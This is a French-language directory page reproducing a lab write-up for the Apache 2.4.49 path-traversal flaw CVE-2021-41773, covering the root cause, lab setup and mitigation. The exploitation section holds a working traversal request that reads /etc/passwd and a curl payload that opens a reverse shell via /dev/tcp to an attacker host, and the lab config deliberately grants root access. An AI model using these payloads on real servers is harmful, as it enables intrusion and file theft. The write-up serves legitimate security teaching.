Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-41773-POC — La documentation du POC et de la configuration du laboratoire de CVE 2021 41773 | Kitploit
Outils/GitHubGitHub/ashique-thaha/cve-2021-41773-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubashique-thaha/cve-2021-41773-poc

CVE-2021-41773-POC

La documentation du POC et de la configuration du laboratoire de CVE 2021 41773

Voir le dépôt
15il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-41773-POC

Documentation POC et configuration du laboratoire pour CVE-2021-41773


Qu'est-ce que CVE-2021-41773 ?

CVE-2021-41773 est une vulnérabilité de traversée de chemin dans le serveur HTTP Apache 2.4.49 et 2.4.50. Cette vulnérabilité exploite une mise à jour du code de normalisation des chemins introduite dans cette version.

root@kitploit:~
La fonction de normalisation des chemins :
Normalement, la normalisation des chemins filtre le chemin URL pour le convertir
en un format standard afin d'empêcher les actions malveillantes des adversaires.

Apache HTTP Server 2.4.49 a introduit un changement dans la fonction ap_normalize_path qui est devenue la cause première de cette vulnérabilité.

Si nous examinons le code source, nous pouvons voir que la fonction parcourt chaque caractère de l'URL donnée et applique une désinfection.

Mais la vulnérabilité se trouve dans la section du code où il effectue le décodage d'URL. La fonction est simple, elle va simplement décoder le caractère encodé en URL

root@kitploit:~
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
    path[l] == '%' &&
    apr_isxdigit(path[l + 1]) &&
    apr_isxdigit(path[l + 2])) 
{
    // Decode the percent-encoded character
    const char c = x2c(&path[l + 1]);

    // Check if the decoded character is alphanumeric or one of the allowed symbols
    if (apr_isalnum(c) || (c && strchr("-._~", c))) 
    {
        // Replace the last character with the decoded one and update position
        l += 2;
        path[l] = c;
    }
}

Le problème ici est qu'il ne traite que le premier point . dans l'URL, ce qui signifie que si au lieu de ../, nous donnons .%2e/, le serveur décodera %2e comme un point, ce qui se traduira par ../

Cas normal :

root@kitploit:~
URL Input: http://target/cgi-bin/../../etc/passwd

Path Normalization Steps:

1. Detect ../ -> Attempt to traverse up a directory.

2. Normalize function -> will remove or block ../ 

Cas vulnérable :

root@kitploit:~
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd

Path Normalization Steps:

1. Decodes %2e  to . -> The Result is ./.././../etc/passwd

2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../

3. Path Traversal is not fully blocked.

Resulting Path: /etc/passwd (Access Granted)

Ce problème devient dangereux et exploitable lorsqu'il est combiné avec des directives du serveur. Cela agit comme une règle pour le comportement du serveur Apache.

La configuration Require all granted permettra à toutes les requêtes d'accéder explicitement aux ressources à l'intérieur de la DocumentRoot.

root@kitploit:~
<Directory />
    AllowOverride None
    Require all granted  # Deliberately vulnerable setting, here it was denied usually
</Directory>

Si le serveur est configuré avec la directive Require all granted au niveau racine, cela rend tout le système de fichiers accessible publiquement.

Le répertoire cgi-bin dans Apache est par défaut un répertoire alias avec la directive Require all granted, ce qui permet un accès public, ce qui signifie que tout le monde peut faire des requêtes vers le répertoire /usr/local/apache2/cgi-bin/.

En combinant le défaut logique dans la fonction ap_normalize_path qui permet le contournement de la traversée de chemin et une directive Require all granted mal configurée sur le serveur, les attaquants peuvent accéder à des fichiers sur le système de fichiers du serveur en dehors des répertoires prévus.

Cette vulnérabilité peut être davantage exploitée pour conduire à une exécution de code à distance si mod_cgi est activé sur le serveur.

Par défaut, ce module n'est pas activé sur Apache HTTPD, ce qui signifie que la version par défaut n'est pas vulnérable à l'exécution de code à distance.

mod_cgi permet l'exécution de scripts CGI (Common Gateway Interface) sur le serveur et la sortie renvoyée au client ; il est principalement utilisé pour fournir des fonctionnalités dynamiques aux sites web.


Configuration du laboratoire

  • Installer une VM Linux pour créer le laboratoire
  • Ensuite, configurons la version vulnérable d'Apache dans cette VM

Télécharger la version vulnérable d'Apache (téléchargement depuis l'archive car la version vulnérable n'est pas disponible pour une installation directe) :

root@kitploit:~
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz

installer les dépendances :

root@kitploit:~
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
root@kitploit:~
sudo apt-get install build-essential

Décompresser le fichier vulnérable d'Apache et le configurer :

root@kitploit:~
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install

Après avoir terminé avec succès, allez dans le fichier de configuration d'Apache :

root@kitploit:~
sudo nano /usr/local/apache2/conf/httpd.conf

Ajoutez ce qui suit dans le fichier de configuration :

root@kitploit:~
ServerName 127.0.1.1

Démarrer les services Apache :

root@kitploit:~
sudo /usr/local/apache2/bin/apachectl start

Naviguez vers le répertoire par défaut du serveur web :

root@kitploit:~
cd /usr/local/apache2/htdocs

normalement, le répertoire racine d'Apache est /var/www/html ici c'est /usr/local/apache2/htdocs car nous n'avons pas installé le serveur à partir des sources, nous pouvons le définir sur /var/ww/html si nous le souhaitons. Mais je le garde tel quel pour l'instant.

Créer un site web statique de base :

HTML :

root@kitploit:~
echo "GNU nano 6.2 index.html *                                               
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2021-41773</title>
    <!-- Link to external CSS file -->
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
  <h1>Error <span class="errorcode">404</span></h1>
  <p class="output">This is a replication of CVE-2021-41773</p>
  <p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
  <p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html

CSS :

root@kitploit:~
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';

html {
  min-height: 100%;
}

body {
  box-sizing: border-box;
  height: 100%;
  background-color: #000000;
  background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
  background-repeat: no-repeat;
  background-size: cover;
  font-family: 'Inconsolata', Helvetica, sans-serif;
  font-size: 1.5rem;
  color: rgba(128, 255, 128, 0.8);
  text-shadow:
      0 0 1ex rgba(51, 255, 51, 1),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.noise {
  pointer-events: none;
  position: absolute;
  width: 100%;
  height: 100%;
  background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
  background-repeat: no-repeat;
  background-size: cover;
  z-index: -1;
  opacity: .02;
}

.overlay {
  pointer-events: none;
  position: absolute;
  width: 100%;
  height: 100%;
  background:
      repeating-linear-gradient(
      180deg,
      rgba(0, 0, 0, 0) 0,
      rgba(0, 0, 0, 0.3) 50%,
      rgba(0, 0, 0, 0) 100%);
  background-size: auto 4px;
  z-index: 1;
}

.overlay::before {
  content: "";
  pointer-events: none;
  position: absolute;
  display: block;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  width: 100%;
  height: 100%;
  background-image: linear-gradient(
      0deg,
      transparent 0%,
      rgba(32, 128, 32, 0.2) 2%,
      rgba(32, 128, 32, 0.8) 3%,
      rgba(32, 128, 32, 0.2) 3%,
      transparent 100%);
  background-repeat: no-repeat;
  animation: scan 7.5s linear 0s infinite;
}

@keyframes scan {
  0%        { background-position: 0 -100vh; }
  35%, 100% { background-position: 0 100vh; }
}

.terminal {
  box-sizing: inherit;
  position: absolute;
  height: 100%;
  width: 1000px;
  max-width: 100%;
  padding: 4rem;
  text-transform: uppercase;
}

.output {
  color: rgba(128, 255, 128, 0.8);
  text-shadow:
      0 0 1px rgba(51, 255, 51, 0.4),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.output::before {
  content: "> ";
}

/*
.input {
  color: rgba(192, 255, 192, 0.8);
  text-shadow:
      0 0 1px rgba(51, 255, 51, 0.4),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.input::before {
  content: "$ ";
}
*/

a {
  color: #fff;
  text-decoration: none;
}

a::before {
  content: "[";
}

a::after {
  content: "]";
}

.errorcode {
  color: white;
}"| sudo tee styles.css

Modifier la configuration Apache pour simuler la vulnérabilité :

root@kitploit:~
sudo nano /usr/local/apache2/conf/httpd.conf

Faites un changement dans cette partie du fichier de configuration afin que la vulnérabilité puisse être exploitée :

root@kitploit:~
<Directory />
    AllowOverride None
    Require all granted  # Deliberately vulnerable setting, here it was denied usually
</Directory>

Maintenant, démarrez le serveur Apache :

root@kitploit:~
sudo /usr/local/apache2/bin/apachectl start

Allez sur le site web vulnérable en tapant

root@kitploit:~
http://<vm-ip>

Le laboratoire est prêt, voyons maintenant comment fonctionne l'exploitation :


Exploitation

Cette requête curl invoquera la vulnérabilité :

root@kitploit:~
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'

nous pouvons accéder au fichier /etc/passwd ou à tout fichier du système de cette manière


Essayons l'injection de commandes et tentons d'obtenir un reverse shell :

Sur la machine attaquante, mettez en place un écouteur netcat :

root@kitploit:~
nc -lvnp 4444

Envoyez maintenant la ligne Bash via une requête curl à la victime :

root@kitploit:~
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'

Cela nous donnera un accès shell.


Atténuation

Pour les versions 2.4.49 et 2.4.50, l'atténuation recommandée est de mettre à jour vers la version la plus récente.

Si la mise à jour n'est pas une option, il est conseillé d'auditer les répertoires pour restreindre l'accès public :

  • Les directives Require all denied doivent être implémentées sur tous les répertoires non destinés à un accès public et jamais à la racine/répertoire.

  • Le répertoire /cgi-bin doit être configuré avec la directive Require all denied et ne doit pas être défini comme un alias.

Télécharger l’outil